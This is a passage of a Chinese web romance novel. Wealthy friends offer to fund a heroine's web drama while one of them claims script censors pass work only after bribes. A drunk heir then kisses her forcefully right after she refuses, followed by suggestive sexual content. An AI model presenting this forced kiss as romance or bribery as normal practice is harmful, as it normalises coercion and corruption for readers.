“你以为那些审核的真是两袖清风呢,多少剧本卡在那里说白了就是钱没给够,你这剧本是网剧又不在电视台播,甚至还特意说明是另一时空了,除非他们真找茬。” “以前有一哥们,就想搞影视,不想靠着家里的关系,就想先拍个公益留守儿童题材的,就这剧本都被那群东西卡来卡去,一会儿说留守儿童的小孩儿家里怎么能有钱,留守儿童过的这么困难上面就不会给补助吗?要体现上面对他们的关怀备至。” “其实挺可笑的,就算真的拨款,到那些人贫困家庭手里也没几个钱,这道理谁都懂,但他们不管,他们就要你拍出来歌颂他们,不然就一直卡你的剧本,还说什么留守儿童怎么能吃这么胖,家里应该很穷要饿到皮包骨,这更可笑,最初就表明不是最穷困的大山,只是普通北方农村的留守儿童,这也要拿来挑刺儿。” “我那个兄弟,一开始那叫一个热血,非说要用镜头给那些孩子发声。结果呢?剧本改到第8版,硬是把真实故事改成‘上面领导雪中送炭,孩子感恩戴德’的样板戏!审核组的人还假惺惺地说‘要传递正能量’,可他们自己心里清楚,正能量不过是块遮羞布,底下全是见不得光的交易。” “后来那哥们怎么着的?直接砸了300万‘喝茶费’,剧本第二天就过了审。审核组还特意批注‘立意高远,情感真挚’,呸!说白了就是要钱,没钱拿不到标,没钱过不了审核,没钱后面的各种流程也会卡你。” 韩城说的还挺现实的。 “所以啊,我都打算投了,怎么可能让剧过不了审?有钱有关系,你就算拍的再过点,我都能让你上映。”韩城斜倚在沙发扶手上,指尖有一搭没一搭地敲着桌面,一副吊儿郎当的模样。 韩越坐在他旁边,慢悠悠晃着酒杯,对他的话不置可否。 黎云笙似乎还醉着,眼尾泛着薄红,听到韩城那番话时,指尖在酒杯边缘摩挲的弧度突然一顿。 他眯起眼睛看向韩城,片刻后转向温栩栩:“找他投资?怎么不找我投资?”他忽然开口,声音带着酒醉后的沙哑,却透着股让人头皮发麻的戾气。 桌面被他指尖敲得“嗒嗒”作响。 温栩栩整个人僵了僵。 她正捧着剧本坐在黎云笙对面,此刻愣愣抬头,有点不太明白他怎么会因为这种小事生气。 “难道你也要投资吗?”温栩栩开口问他。 第989章 不辛苦,命苦 黎云笙盯着她看了几秒,眼神有点微妙,温栩栩被他此刻的眼神看的有那么点慌乱,还不等她再说什么,男人的黑卡已经放到了桌上,甚至推至到她手边。 他下颌线条紧绷,喉结滚动着,不知是醉意还是别的什么情绪在翻涌,“给你。” 意思是黑卡直接给她。 韩城嘴里没忍住发出一声“靠”。 结果下一秒就听见黎云笙在这边踩他。 “韩城很穷,他投不起。”黎云笙余光看向韩城,韩城唇角狠抽了下嚷嚷:“我哪儿穷了?我哪儿投不起了!姓黎的你不要在那里污蔑我啊!” “不穷怎么买不起最新款的限量跑车。”黎云笙慢悠悠晃着酒杯,看他炸毛的样子就像在看一只跳脚的猫。 韩城满脸都是日了狗的表情。 “我根本没有特别习惯那辆车好吗?而且那不是你想买,哥们不想跟你抢吗!这你也拿出来吐槽我?” 黎云笙嗤了一声:“就是穷。” 韩城忍了好半天,到底是没憋住心头那口气,呵了一声:“行行行,我穷,你投,你来投。” 韩城也不像是生气,就是有点憋屈,显然早就习惯了黎云笙那狗脾气。 韩越听不下去了,倒也不是觉得黎云笙说的不对,纯粹是真的想让韩城投一笔。 “阿笙,大头肯定是你来出,不过也让韩城投一笔吧,不投给温栩栩也迟早要被其他人骗走。”韩越说这话的时候对自己弟弟其实有带那么点嫌弃的劲儿。 温栩栩挑眉,有点不是很理解。 “骗走?”什么情况? 盛景炎适时笑着插话,指尖在温栩栩剧本扉页轻点,“韩城很好骗。去年有个剧组说需要投资拍公益电影,他眼睛都不眨就砸了五百万,结果后来发现那导演拿着钱去拍了网大,片头连他的名字都没挂。” 韩越很赞同的点头:“对,你演技好点说什么他都信,只要他有的,都能给你掏出来。上个月有个卖古董的忽悠他说乾隆用过的茶壶,他真当宝贝似的供在家里。” 韩城被揭老底,脸上挂不住了,急赤白脸地反驳:“那、那怎么能叫被骗!那茶壶后来专家鉴定了,确实是清朝的!虽然可能不是乾隆用过的……”他越说声音越小,最后自己都觉得没底气,蔫头耷脑地缩回沙发里。 温栩栩唇角抽了下,显然是没想到韩城这么……离谱。 不过前几天韩城让她带点心的时候不就直接转了五万,那估计确实没少干这事儿。 “他去年被七八个得癌症的主播骗走了几百万,我告诉他那是骗子,韩城不信,一定要说对方得了癌症很可怜。”盛景炎叹气,摇摇头,语气里满是无奈。 韩城立刻回嘴:“本来就很可怜!”他梗着脖子,一副理直气壮的模样,仿佛自己才是那个被误解的圣人。 盛景炎略有些无奈,眼底闪过一丝嘲弄:“嗯,很可怜。现在那些癌症主播都已经开始带货卖保健品了,直播间里天天‘家人们支持一下’,据说月收入最少得都有十几万。”他故意顿了顿,尾音上扬,“韩城,有人提过还钱的事吗?” 韩城想了下:“倒是有人说要跟我合作开公司的。” “……”韩越满脸无语,缓了好一会儿才将目光落到温栩栩脸上:“温小姐,赶紧把他的钱拿走。” 在韩城手里,迟早要被骗走。 韩越心里明镜似的,他这弟弟,表面看着精明,实则蠢得让人牙疼。 温栩栩也确实没想过韩城能离谱到这种程度,她看着韩越的眼神都带着些许同情。 “越少,辛苦你了。”温栩栩态度十分诚恳,看着是真觉得韩越可怜。 韩越面带微笑:“不辛苦,命苦。” 有这么个败家弟弟,每天不务正业,只想着用钱砸各种不靠谱的项目,他作为哥哥,不仅要收拾烂摊子,还得替他把关。 狗东西还是一点都不打算去公司工作,只等着以后那股份吃分红的货。 那确实是很命苦了。 温栩栩觉得自己是挺幸运的,不然也不会跟这几位关系这么好,连几人的私人聚会都能叫自己一起。 盛景炎还是比较懂娱乐圈那点事儿的,也知道黎云笙确实开了个娱乐公司,现在温栩栩刚好能用上。 他还挺友好的问了句需不需要自己帮忙 韩城吐槽:“你能帮什么忙?” 盛景炎笑了笑,“有认识的几个导演算吗。” 韩城有点不信,盛景炎耸了耸肩开口:“张文山,宋星月,还有最近爆火的《飞雪传》导演林锦文,还有不少……” 韩城沉默了好一会儿才开口,“你到底是怎么认识这群人的。” 盛景炎想了下解释:“几年前喜欢打麻将,我手气好你们是知道的,有一次来华庭走错了包厢,刚巧是那几个导演在搓麻将,有人一直输玩不下去了,就缺了个人,我顶上了。” 见所有人目光都轮到自己身上,盛景炎还是那副无辜模样,“然后我就赢了那群人,再后来这群人就经常约我搓麻将,队伍也越来越壮大,都是我的手下败将。” 韩城只觉得离谱。 怎么他碰到的就是骗子,盛景炎碰到的就是一群大佬呢? 盛景炎也不是很在意韩城此刻的眼神,他眼睛弯弯的,目光落到温栩栩脸上,笑道:“先加个联系方式,有需要的话我把他们推给你。” 温栩栩确实很需要这些导演,赶紧谢过盛景炎。 黎云笙的眉峰微微蹙起,似拢着化不开的墨,眉骨下的阴影在暖色吊灯下愈发深邃。 他忽然抬手扣住温栩栩的手腕,力道不轻不重,却让温栩栩指尖一颤。 男人的掌心温度透过肌肤渗进来,像一片灼热的羽毛拂过心尖。 温栩栩怔怔抬头,对上的是一双被醉意浸染的眼眸。 那双平日总似藏着锋刃的黑眸此刻蒙了层雾气,他的瞳孔深处有暗流在翻涌,似有千言万语欲破茧而出,却又带着明显的朦胧醉意,睫毛在眼下投下细密的影,随着呼吸微微颤动,每一次颤动都牵动着温栩栩紊乱的心跳。 第990章 可以接吻吗 他们的距离并不远,此刻呼吸纠缠着呼吸,热意与酒香丝丝缕缕侵入她的感官。 他的眼神太复杂,醉意里裹着克制的占有欲,恍惚中又透出几分孩童般的执拗,仿佛要将她所有注意力都夺过去,不容分毫旁落。 温栩栩还在怔愣之际,听到黎云笙开口:“别看他们,看我。” 温栩栩瞳眸都瞪圆了几分,似乎根本没想到黎云笙会说这话。 黎云笙指节无意识地收紧,温栩栩的手腕被攥得更紧了些。 她听见自己的心跳逐渐加速,而他的目光仍胶着在她脸上,从眉眼滑至鼻尖,最后落在她轻颤的唇上,带着某种令人心悸的专注,仿佛要将她看穿,又像是要将她吞入那深邃无底的漩涡。 明明喝醉了,为什么还能有这种无法忽视的压迫感。 “呦呦呦,别看他们,看我~”韩城连着啧了两声在那边看戏还不忘打断他们之间那点暧昧。 温栩栩却忍不住松了口气,她心里是真的发慌,特别对上黎云笙那幽深的目光,总觉得自己会溺死在他漆黑眼眸中。 黎云笙抬眸,目光缓缓落到韩城脸上,然后轻微皱眉,韩城还想支棱起来招惹他,下一秒就被韩越捂住嘴了。 “祖宗,你可消停点吧!” 韩城一点不想消停,还想继续蹦跶,直接被韩越给带走了。 “你拽我干什么!我兄弟还在里面跟黎狗在一块儿呢!你知道把他俩放一块儿有什么后果吗!那跟把猫和老鼠放一起有什么区别!别扒拉我!黎云笙你不许欺负我兄弟啊!”韩城还嚷嚷呢。 盛景炎直接往他嘴里塞了口面包让他安静。 “快老实点吧,什么你兄弟,那是黎云笙未来老婆还差不多。” 韩城还想哔哔,直接被韩越带来的保镖制住带走。 包厢只有温栩栩和黎云笙了,她这会儿才后知后觉的感觉有点发慌。 韩城被保镖架走的瞬间,包厢门"咔嗒"闭合,将喧闹隔绝成遥远的背景音。 暖色吊灯在头顶晕开一圈圈光晕,像融化的蜂蜜般流淌在黎云笙的侧脸,为他锋利的轮廓镀上一层温柔的假象。温栩栩无意识地蜷了蜷指尖。 黎云笙垂眸,目光落在她脸上,他很敏锐的感觉到温栩栩的异常。 黎云笙忽然抬手,指尖在桌面轻叩三下,节奏像某种暗号。 他的目光始终锁在她脸上,黑曜石般的瞳孔里藏着未燃尽的醉意,“怕我?”他问这句话的时候尾音微微上扬,带着点危险的戏谑。 温栩栩第一反应是不怕,甚至不只是不怕,还有点想依赖他。 就像她想让这些少爷投资的时候,脑海中最先想到的竟然不是傻乎乎的韩城,而是让她一直警惕的黎云笙。 她自己也不清楚为什么会这样,但就是有种感觉……好像她和黎云笙本该很亲密的。 黎云笙忽然倾身向前,气息裹挟着雪松与威士忌的味道侵袭而来。 温栩栩下意识后仰,脊背抵住沙发扶手,凉意从掌心蔓延至全身。 他的手指掠过她耳畔碎发时,指尖的薄茧擦过她敏感的耳廓,激起一阵酥麻的战栗。 “为什么不说话呢?你真的很怕我?”他低笑,喉音震颤着空气。 “温栩栩,我有伤害过你吗?”他问。 她明明该推开他,可身体却背叛意志,任由他温热的手掌贴上自己冰凉的手背。 她脸颊瞬间泛起熟透的蜜桃色,眼神慌乱的游移,却始终逃不开他深邃如墨的瞳仁。 “你虽然没有伤害我……但是……也有对我做很过分的事。”她还记得在帝城大学的时候黎云笙是怎么欺负自己的,甚至都有反应了。 黎云笙忽然伸出手,拇指与食指捏住她脸颊的软肉,稍稍用力便揉出一抹诱人的粉。 "很过分吗?连亲吻都没有过也算很过分吗?"他挑眉,似是不解,黑眸里却燃着幽暗的火。 温栩栩的脸颊温度骤升,耳尖几乎要滴出血来。 她目光倏然下移,掠过他精壮腰腹,最终定格在那处不可言说的隆起,他脐下三寸的热度穿透昂贵的西装布料,灼得她瞳孔骤缩。 “谁让你……有反应了。”她抿唇,吐出这句近乎羞耻的指控,声音细若蚊蝇。 黎云笙的喉结剧烈滑动,掌心温度陡然攀升,温栩栩被烫得想逃,却被他突然扣住手腕。 “你放开我……”温栩栩此刻结结巴巴的,完全无法淡定。 她试图推开他,指尖却触到他胸膛下滚烫的肌肉纹理,掌心像被烙铁灼烫般缩回。 黎云笙的臂膀骤然收紧,将她纳入怀中,呼吸间尽是清冽的雪松混着威士忌的醇香,仿佛要将她溺毙在这危险的温柔里。 “抱歉,我暂时不想放开你。”黎云笙稍稍用力,将人揽抱进怀中,似乎是嗅到她身上淡淡的甜香味道,眉眼之间都带了点明显的笑意。 他忽然俯身,鼻尖轻蹭过她耳畔的敏感肌肤,温热的吐息激起一阵战栗。“可以接吻吗。”他很有礼貌的询问。 温栩栩实在是没有见过这样的人,耍流氓都耍的这么奇怪。 “不可以接吻,不可以拥抱,你现在这样跟我太亲密了,有点越界了!”温栩栩小声吼他。 黎云笙眼眸微垂,倒也没强迫她,他看着是醉了却又像没醉,温栩栩忍不住贴近想看看他此刻是不是在难过或者伤心呢,结果下一秒就被男人重新桎梏住,拥上来,几乎是很用力的在亲吻。 温栩栩的瞳孔猛地收缩,大脑陷入真空般的寂静。 他的唇瓣滚烫而柔软,带着不容拒绝的力道压下来,她本能地想逃,后颈却被他掌心扣住,五指嵌入发丝间,将她的抗拒碾碎在指缝。唇舌相缠的刹那,她尝到了他口腔里残留的苦涩酒味,与自身甜软的呼吸交织成令人眩晕的漩涡。 她含糊的抗议被尽数吞没。黎云笙的吻愈发炽烈,舌尖撬开她颤抖的齿关,掠夺她每一寸呼吸。 温栩栩指尖无意识地揪紧他西装布料,指甲在丝绸上刮出细微的声响。 她呜咽着试图挣扎,黎云笙听到她这样的呻吟,顺势扣住手腕加重了这个吻,十指相缠的触感像电流窜过全身,激得她脊背发麻,脚趾蜷缩。 太奇怪了。 她好像很喜欢跟黎云笙亲吻。 第991章 开心,还要亲亲 温栩栩觉得自己对黎云笙的渴望好像是控制不住的。 她觉得自己对黎云笙的渴望像是蛰伏在血液里的暗流,一旦破闸便汹涌失控。 她一直觉得自己不是恋爱脑,不会因为喜欢谁而无脑让自己沦陷。 她曾笃信自己是清醒的理性主义者,绝不会为爱情昏头,可此刻胸腔里翻腾的情绪却将她撕扯成两半。 左侧的心脏在尖叫着“警惕!他危险!”而右侧的血管却流淌着滚烫的蜜糖,低声呢喃:“试试吧,就这一次。” 这种矛盾在她脑中具象成两个小人,黑衣小人攥着她的理智绳索,警告她黎云笙是深不可测的漩涡。白衣小人却瘫坐在欲望的云端,捧着玫瑰花瓣叹息:“你看他看你的眼神,像要把你刻进骨血里。” 更荒唐的是,温栩栩竟相信了这种直觉。 好像潜意识里面就是有人告诉自己,黎云笙会是自己命中注定的爱人,她自己都觉得这样可笑的第六感真的很幼稚。 就像教她台步的那位老师告诉她,不要做男人的点心,可她现在甚至想……如果成为黎云笙的点心,自己会不会是最可口的那一块。 疯了。 疯了! 她从来都是最鄙视恋爱脑的!可现在她自己成了恋爱脑! 甚至她自己都知道自己成了恋爱脑,可是在这种时候还想跟他更深入……像是不想只是亲吻。 温栩栩觉得自己现在是真的有病了。 一直到被黎云笙放开,温栩栩呼吸都有些乱,她手抵在黎云笙胸口,眼尾微微发红,似是有点委屈似的。 她自己都不知道为什么会做出这般姿态,但她就是觉得黎云笙会吃自己这一套。 “黎云笙,你勾引我。”她喘息着,那双眼睛里倒映的都是男人漆黑深沉的目光,却染带了几分欲色。 她有种自己下一秒可能会被黎云笙完全压制吞之入腹的错觉。 她脑子里甚至闪过一个念头。 该说……不愧是男大吗…… 黎云笙轻笑,抬手捏住她的下巴。 拇指摩挲着她细腻的皮肤,力道轻得像羽毛,却又重得让她浑身战栗。 温栩栩敏感地哼唧出声,尾音带着钩子似的颤,引得他眸光又沉了几分。 他俯身咬住她的耳垂,牙齿碾过柔软的软骨,舌尖却舔上那处最脆弱的凹陷。 “我喝醉了。”他呢喃,热气灌进她耳蜗,激起一阵酥麻的电流。 这句话潜台词就太多了。 喝醉了,所以控制不住,喝醉了所以可能失去理智,喝醉了也可能为所欲为。 真混蛋啊。 温栩栩心里这么想的,没忍住说出来了,甚至还有点气鼓鼓的。 “嗯,我是混蛋。”黎云笙又凑过去,声音里面像是带着些许笑意,“还亲吗。” 她气得胸口起伏,却听见心底有个声音在欢呼雀跃,是的,就是这样,撕开所有伪装的野蛮与炽热。于是她报复性地咬住他的下巴,齿尖刺破皮肤,尝到一丝铁锈味的甜。 温栩栩报复性的咬他的下巴:“亲!” 亲一个也是亲,亲两个也是亲,干嘛不亲! 似是猜到她的回答,黎云笙已经吻了上来,甚至贴着她的唇,从温柔的轻吻变成黏腻的湿吻。 他的手不知何时滑至她后颈,五指嵌入发丝,将她彻底禁锢在怀中。 温栩栩的后腰抵着冰凉的桌面,身前却是他炽热的体温,这种冰火交织的煎熬让她脚趾蜷缩。 她不甘示弱地回吻,舌尖探入他口腔深处,黎云笙闷哼一声,吻得更凶,像是要将她整个吞入腹中。 包厢昏暗的灯光下,两人的影子在墙上纠缠,分不清是谁在主导,又是谁在沉沦。 栩栩的意识像是被浸在蜜糖与烈酒混合的漩涡里,眩晕又沉醉。 唇瓣相贴的刹那,她尝到了黎云笙口腔里淡淡的薄荷烟味,混杂着酒香,竟莫名令人上瘾。 他的吻并非野蛮的掠夺,而是带着某种难以言喻的侵略性,舌尖先轻柔地勾勒她唇形的轮廓,而后骤然发力,撬开她微颤的齿关,吞噬亲吻。 她后颈被他掌心扣住,指节因用力而泛白,仿佛要将她整个人都揉进这窒息的纠缠中。 “舒服吗?”黎云笙在她耳畔低语,热气喷在敏感的耳廓,激起一阵战栗。 温栩栩喉间溢出含糊的呜咽,脸颊滚烫如火烧。 他吻得极有章法,像是在品尝最珍贵的甜点,又似在宣示占有的主权。 温栩栩恍恍惚惚的,只觉得为什么接吻也会这么舒服呢? 明明以前会觉得这种亲密接触很脏很恶心,可变成黎云笙……难道是因为黎云笙长得好看? 她心想,大概跟黎云笙长得好看还总是香香的有关吧。 开心,还要亲。 她知道自己已经有病恋爱脑了,但亲都亲了,多亲几口也没事吧,又不是真睡了。 这挺堕落的……但是……一直堕落一直爽。 温栩栩觉得自己不亏。 就像那位模特老师说的,不要当男人的点心,可她也把黎云笙当点心了呀,而且她吃的还挺开心的。 不得不说跟这点心会自己吐金子也有关系。 这种事到底谁吃亏谁得利还说不准呢。 换个想法,黎少爷长得好身材好硬件好,年轻俊美多金,还没怎么着呢就已经给她解决了大麻烦,现在更是连黑卡都掏出来了。 她不觉得自己蠢,她觉得黎云笙蠢了。 而且……单看黎云笙这张脸,这人就是不出钱都不知道要有多少人想跟他睡呢。 大少爷精力旺盛有本钱,估计真下海有人六位数起步的想睡吧! 赚了赚了,血赚! 温栩栩想着想着竟然还笑起来,眼睛弯弯的,眼睛里面全都是小星星,明明还被深吻着,但是已经天马行空的想到以后了,真的很应该被教育。 黎云笙眸光又跟着暗了几分,大手摁在她的后颈稍稍使力。 “专心。”他吻的重了几分,似是带着些许惩戒。 他衬衫领口微敞,锁骨线条凌厉如刀刻,肌肤散发的冷松香与体温形成矛盾的反差,撩得她掌心发痒。 第992章 好可爱的嫩黄瓜 鬼使神差地,她抬手抚上他喉结凸起的弧度,指尖感受到吞咽时肌肉滚动的震颤,这动作竟引得他闷哼一声,吻得更凶。 “你亲过多少人?”她忽然咬住他下唇问他。 黎云笙眸光骤沉,惩罚性地咬住她耳垂,舌尖舔过那处薄嫩的软骨:“你猜。” 他沙哑的嗓音裹着笑意,手却从她后腰滑至臀侧,用力一按,将她更紧密地贴向自己硬挺的下腹。 温栩栩浑身一僵,羞耻与悸动同时炸开。 她不甘示弱地回吻,学着他刚才的技法,挑衅的亲吻。 黎云笙喉间发出危险的低笑,忽然扣住她后脑将她压向沙发,吻得愈发深入。 两人的呼吸在狭小的空间里交织成潮湿的网,她鼻腔充斥着他衬衫上雪松与皮革混合的味道,手指无意识地攥住他西装布料,直到指节发白。 他似乎有意逗弄她,时而退开半寸,用鼻尖蹭她鼻尖,在她即将逃离时又猛地擒住唇瓣,碾碎她所有喘息。 “唔……”温栩栩也咬他,有点不忿,“你这么会接吻,你亲过多少人,我才不要烂黄瓜。” 这话也就温栩栩敢说。 合着韩城说的黎少爷跟其他女性都没联系的事儿温栩栩是一点没放心上。 温栩栩就知道黎云笙很会亲,不,是特别会亲,不然为什么会把她亲的迷迷糊糊! 烂黄瓜……谁敢把这话放到黎云笙面前说的? 黎云笙先是愣了下,显然最初没听懂什么意思,等明白过来后明显被气笑了,他伸出手捏住温栩栩的脸,脸颊都被他捏红了,温栩栩却还是那副理直气壮的模样。 “烂黄瓜?”他忽然在她唇缝间低语,带着咬牙切齿的意味。温栩栩被他吻得眼眶泛红,却仍梗着脖子哼唧,“不然你为什么这么会亲。” 她还哼唧? 黎云笙满脑子都是,哼唧什么?哼唧的这么可爱,更想亲了。 不想听她叽歪,这张嘴就适合做点别的。 他眸光更深了,也没给她答案,又一次深深吻上去,直亲的温栩栩晕晕乎乎。 她却还没忘记烂黄瓜这一茬,小声嘀咕。 “嘀咕什么?”他松开她的唇,指尖却顺着她泛红的耳廓滑至下颌,力道暧昧地摩挲,“这张嘴,就该用来尝别的。” 温栩栩被他吻得缺氧,大脑晕眩却仍不服输地瞪他。 黎云笙眸色更深了,呼吸喷洒在她锁骨凹陷处,激起一阵战栗。他忽然咬住她耳垂,湿热的舌尖舔过那处薄嫩的软骨:“想知道答案?今晚就让你验证?” 温栩栩浑身僵直,她还想反驳,却被他骤然加深的吻堵住了所有声音。 这一次,他不再只是掠夺,而是带着近乎虔诚的缠绵。 掌心从她后腰滑至脊背,指节陷入柔软的布料,将她每一寸都贴合向自己滚烫的躯体。 温栩栩能清晰感受到他衬衫下紧绷的肌肉轮廓,以及隔着衣料传来的心跳,快得惊人,仿佛与她共振。 好不容易被放开,温栩栩还瞪他。 “在意这个?”黎云笙在她唇缝间喘息,眼底映着跳跃的欲火。 黎云笙“啧”了一声,揉着她的耳朵咬牙,“温栩栩,你这么在意这个问题,难道你今晚就想做更多?” 温栩栩被他吻得眼眶泛红,此刻还懵着睫毛沾着生理性泪光,却仍倔强地不肯闭上眼,她也不问了,就这么盯着他,似乎是真的很在意这个问题。 黎云笙也见不得她这副模样,大少爷平日里见别人跪地求饶都不会这么心疼,现在温栩栩还没怎么样呢,就这么目光炯炯的盯着他看,他就扛不住了。 他耳根都带着点红,嗓音有点哑:“不烂,是嫩的。”他说这话的时候尾音带着点不自知的颤,仿佛在压抑某种冲动。 谁是烂黄瓜,他不承认,他水灵灵的,很嫩的!就没乱搞过! 可说这话他也觉得羞耻。 温栩栩眼睛又亮了,笑的有点贱歪歪的,像是使坏的红毛狐狸。 “真的吗?”她故意拖长尾音,指尖忽然蛇一般滑向他腰侧,然后逐渐向下,精准捏住那处敏感的软肉。 黎云笙醉酒了都感觉到不对劲,结果下一秒就已经感受到温栩栩的手捏到敏感处,浑身猛地绷紧,喉间逸出一声压抑的闷哼,尾音带了点破碎的尾调。 温栩栩笑得愈发恶劣,像发现了新玩具的孩子。 她眼底漾着促狭的光,指尖又恶作剧地揉了一下。 他身体一颤没忍住…… “噗……嗯,我信了,是嫩的……” 温栩栩笑的更坏了。 不嫩也不会这么大反应。 黎云笙醉酒的混沌中骤然清醒三分,却仍被她大胆的动作烫得耳根更红。 温栩栩已凑近他耳畔,温热的气息喷洒在敏感的耳廓:“黎少爷真是一根最可爱最嫩的好黄瓜啦~” 尾音带着甜腻的尾调,像是裹了蜜的毒药。 黎云笙的瞳孔骤然收缩,扣住她手腕的力道重了几分,却终究没舍得甩开。 黎云笙:“……” 他一时不知道这是不是夸奖。 他不知道,但温栩栩觉得这就是夸奖,她在夸黎云笙洁身自好呢! “好乖呀宝宝。”温栩栩没忍住,把自己看里面的某些亲密话说出来了,指尖已抚上他滚烫的脸颊。 莫名其妙被称呼“宝宝”的黎少爷眯了眯眼眸色彻底黯了下来,捏住她下巴力道带着惩罚的意味,吻却落得汹涌而缠绵。 唇齿相缠间,像是要将她所有挑衅的言语都碾碎吞咽。 温栩栩被他吻得缺氧,却仍执拗地揪着他衣襟,指尖在他脊背烙下细密的痒。 叫他宝宝,他看温栩栩是真的很会挑衅他。 他倒要让温栩栩知道谁才是“宝宝”。 温栩栩其实也觉得奇怪,平日里看那群情侣腻歪来腻歪去只觉得好烦人啊,好恶心啊,到底谁会叫自己女朋友或者男朋友宝宝的啊!谁家宝宝这么“大”一只啊! 可是此刻对着黎云笙这张冷峻却泛着潮红的脸,她却生出诡异的满足。 对的,就是难以控制的满足感。 第993章 我是渣女嘛,才不负责! 温栩栩突然就理解那些人了。 毕竟现在看了黎云笙…… 他喉间的低哼、紧绷的肌肉、甚至衣料下若隐若现的好身材。 哇! 好大一只好帅一只还会自己爆金币的宝宝啊! 她忽然捧住他侧脸,拇指抚过他微微发干的唇瓣,然后指尖已悄然滑向他喉结。 黎云笙被她大胆的动作激得眸中燃起暗火,扣住她腰肢的力道骤然加重。 两人间的距离近到能数清彼此睫毛的颤动,他呼吸滚烫地扫过她耳际:“叫我宝宝,是要付出代价的。” “挑衅我,是要负责的。”他抵着她红肿的唇瓣低语,指尖却在她腰间烙下滚烫的路径。温栩栩终于受不住这蚀骨的酥麻,呜咽一声软在他怀里。 她又开始哼哼唧唧装乖了。 想亲,想完全压制住温栩栩,想跟她做更多…… 理智告诉他不可以这样,但身体却又控制不住。 但她哼唧完指尖还捏着他耳尖那片柔软,像是玩弄猎物的小狐狸。 黎云笙的喉结滚动了一下,鼻腔里溢出压抑的低喘,身体里叫嚣的欲望几乎要将最后一丝理智焚尽的时候却听温栩栩开口了。 “我不要负责。”温栩栩哼唧着两条手臂抱住他的脖子,温热的呼吸喷洒在他耳畔,带着酒气的甜与挑衅的涩:“我是渣女啊,谁家渣女又要付出代价又要负责的。” 黎云笙一时卡壳。 还不等黎云笙做回答呢,温栩栩就捏着他的耳朵哼了一声:“这么会说那些霸道语录,怎么没见你说‘女人,你在玩火’这句经典台词?我现在做的这些好像就是在玩火哦。” 黎云笙:“……” 黎云笙沉默,黎云笙无语,黎云笙无奈。 “我不是霸总。”好半天,他咬着牙挤出这句话,额角青筋微微凸起。 “不是霸总还能说出那句‘别看他们,看我’的话?好霸道啊黎少。”。温栩栩却得寸进尺,指尖在他心口画圈。 他思考了下,今晚好像确实说了这句话。 他觉得有必要解释一下。 黎云笙扣住她手腕,力道大得让她惊呼一声。 他眼底翻涌着欲念与挣扎,嗓音低得危险:“暂时不是。因为还没继承黎氏,还不是董事长或总裁。”“ 这次轮到温栩栩沉默了。 这次温栩栩算是彻底相信眼前这位黎少某种意义上真的是很单纯了。 温栩栩笑眯眯的凑过去又亲了亲他,故意道:“可爱的小嫩黄瓜。” 黎云笙反驳:“不小。” 他哑声反驳,吻骤然落下的瞬间带着掠夺的意味。 温栩栩被他压向沙发,唇齿间满是他的气息。 她哼唧着挣扎,却被他擒住双手禁锢在头顶,吻愈发深入,像是要将她拆骨入腹。暧昧的摩擦间,她忽然轻笑出声。 所以男人到底为什么这么在意这种事? 黎云笙似乎是明白了她此刻的沉默代表什么,目光缓缓落在她的胸口,温栩栩唇角抽了抽。 行,了解了。 就像她也很在意别人不知道的情况下说她飞机场一样,她觉得她身材还是挺魔鬼的。 就像男人到了一米八,墓志铭可能都要刻上这身高,甚至精确到毫米,她如果是D,那肯定也会随时随地来一句“对,你怎么知道我是D,真的好苦恼哦。” 哇,好茶。 温栩栩抬手摸了一下自己,好软,喜欢哎。 然后又哼了一声:“便宜你了。” 黎云笙是真的喝醉了,此刻反应液有点慢,但还是反驳了句:“便宜你了。” 行。 这算什么? 温栩栩一时无话,因为黎云笙说的一点毛病没有,是便宜她了。 温栩栩还愣神的时候,黎云笙已经在捏着她的耳朵玩。 拜托,是耳朵不是玩具哎! 她瞪他的眼神里裹着三分醉意,余下的七分竟软得像浸了水的棉花。 黎云笙的呼吸烫在她耳畔,酒气混着男性特有的清冽气息,让温栩栩更加恍惚。 “还亲吗?”他问,喉结滚动间泄露了几分压抑。 温栩栩指尖勾住他衣领,力道轻得像猫爪挠痒。声音细得几乎被包厢里暧昧的嗡鸣吞没:“你想亲吗? 这是什么废话? 不想亲还能问她吗? 温栩栩读懂了他眼神里面的意思,又笑:“不给亲了。” 醉酒的黎少还是很乖的,虽然不懂她为什么不给亲,但真的没再亲,不过也没打算放开她,就这么抱着人没想放手。 最后还是温栩栩忽悠着人去洗澡。 拜托,都发泄过了,肯定要洗澡换衣服。 该说不愧是华庭,包厢内一应俱全,说是最高档的酒店那也没毛病。 一切收拾好后他似乎也困了,抱着玩具一样将人牢牢困在怀里,完全没给她逃跑的可能。 温栩栩在他肩侧蹭了蹭没拒绝。 她也有点累了,反正亲都亲了,她都说自己是渣女了,亲一亲又不是真的做更亲密的事。 而且,真要论起来,她觉得这是自己占了黎云笙的便宜哎。 黎云笙呼吸渐沉,温栩栩也倦意上涌,最终在他怀中寻了个舒适的姿势。 睡过去前还在思考,好在华庭的包厢休息间的沙发很大,跟床没什么区别,不然自己真的可能会摔下去。 …… 温栩栩醒来的时候天色大亮,男人还在睡着,但抱她没有抱的那么紧了。 她看了下时间,还很早呢。 她想,自己好像是渣女啊,那是不是该跟着剧本走?比如大早上的就要让某位大少爷看不到自己这渣女的人,然后魂不守舍什么的?苏日安黎云笙不至于魂不守舍,但……她就是想玩这么一出。 温栩栩从他怀中抽离,眼尾都带着点笑意。 换好衣服后又觉得不愧是华庭哎,都准备好适合自己尺寸的新衣服了,此刻的温栩栩完全不知道新衣服是盛景炎吩咐人准备的。 她换好衣服在便签纸上写了一句话。 “多谢款待,可爱的嫩黄瓜~” 看看!这次她没再加小了! 写完这个,温栩栩就溜了。 惨遭温栩栩抛弃的黎少醒来后已经是两小时后,待看到桌上的便签纸,大脑一时宕机。 昨晚发生了什么? 嫩黄瓜是说谁? 他癫了还是这世界癫了? 第994章 阿笙,这黄瓜正经吗? 黎云笙抬手捏了捏自己眉心,他觉得有点头痛,昨晚喝了太多酒,有点忘记发生了什么,总觉得自己做了点什么了不得的事情。 至于嫩黄瓜…… 什么意思? 黎云笙猜测了下,想到大概是指代了什么脸色微微变了些许,眼神暗了几分。 韩城是不会提这个,韩越更不可能,至于盛景炎,还没浪到这份儿上。 所以是谁? 温栩栩。 也只有温栩栩。 他此刻终于冷静了,目光落到地上,看到散落在地面有些凌乱的衣服,是温栩栩的。 他昨晚都干什么了?总不该真的做到最后一步了。 他蹲下身拾起布料,指尖触到丝绸的凉滑,忽然想起某个模糊的片段。 温栩栩泛红的脸颊贴在他颈侧,发间若有若无的柑橘香气萦绕鼻尖,裙摆被扯开的窸窣声与自己的喘息交叠…… 掌心猛地攥紧布料,黎云笙喉结滚动,后颈泛起细密的冷汗。 